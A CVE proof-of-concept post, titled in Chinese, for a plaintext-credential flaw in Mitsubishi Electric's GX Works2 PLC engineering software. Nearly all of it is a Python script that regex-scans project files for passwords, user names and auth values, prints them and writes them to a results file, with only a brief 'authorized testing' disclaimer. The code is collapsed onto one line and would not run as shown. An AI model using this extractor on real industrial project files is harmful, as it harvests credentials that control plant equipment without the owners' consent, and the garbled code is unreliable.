CVE-2025-3784: 三菱电机GX Works2明文存储敏感信息漏洞

#!/usr/bin/env python3 """ CVE-2025-3784 PoC - GX Works2 Project File Credential Extraction This PoC demonstrates extracting plaintext credentials from GX Works2 project files. Note: This is for educational and authorized security testing purposes only. """ import os import sys import re import binascii def extract_plaintext_credentials(file_path): """ Extract potential plaintext credentials from GX Works2 project files. GX Works2 project files may contain user authentication credentials stored in plaintext. """ print(f"[*] Analyzing file: {file_path}") if not os.path.exists(file_path): print(f"[-] Error: File not found: {file_path}") return try: with open(file_path, 'rb') as f: data = f.read() print(f"[+] File size: {len(data)} bytes") # Common password-related patterns in GX Works2 project files patterns = [ rb'password\s*[=: ]\s*([\x20-\x7e]+)', # password=xxx rb'pwd\s*[=: ]\s*([\x20-\x7e]+)', # pwd=xxx rb'pass\s*[=: ]\s*([\x20-\x7e]+)', # pass=xxx rb'user\s*[=: ]\s*([\x20-\x7e]+)', # user=xxx rb'auth\s*[=: ]\s*([\x20-\x7e]+)', # auth=xxx rb'credential\s*[=: ]\s*([\x20-\x7e]+)', # credential=xxx ] print("\n[*] Searching for plaintext credentials...") findings = [] for pattern in patterns: matches = re.finditer(pattern, data, re.IGNORECASE) for match in matches: # Filter out common false positives value = match.group(1).decode('utf-8', errors='ignore') if len(value) >= 3 and not value.lower() in ['null', 'none', 'false', 'true']: findings.append({ 'pattern': pattern.decode('utf-8', errors='ignore'), 'value': value, 'offset': match.start() }) # Also search for ASCII strings that look like credentials ascii_strings = re.findall(rb'[\x21-\x7e]{8,64}', data) print(f"\n[+] Found {len(findings)} potential credential matches") if findings: print("\n=== Extracted Credentials ===") for i, finding in enumerate(findings, 1): print(f"\n[{i}] Pattern: {finding['pattern']}") print(f" Value: {finding['value']}") print(f" Offset: 0x{finding['offset']:x}") # Save findings to file output_file = f"{os.path.splitext(file_path)[0]}_credentials.txt" with open(output_file, 'w') as f: f.write(f"CVE-2025-3784 - GX Works2 Credential Extraction Results\n") f.write(f"Target File: {file_path}\n") f.write(f"Analysis Date: {__import__('datetime').datetime.now()}\n\n") for i, finding in enumerate(findings, 1): f.write(f"\n[{i}] {finding['pattern']} = {finding['value']}\n") print(f"\n[+] Results saved to: {output_file}") except Exception as e: print(f"[-] Error during analysis: {str(e)}") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-3784_poc.py <project_file>") print("Example: python cve-2025-3784_poc.py sample.gx2") else: extract_plaintext_credentials(sys.argv[1])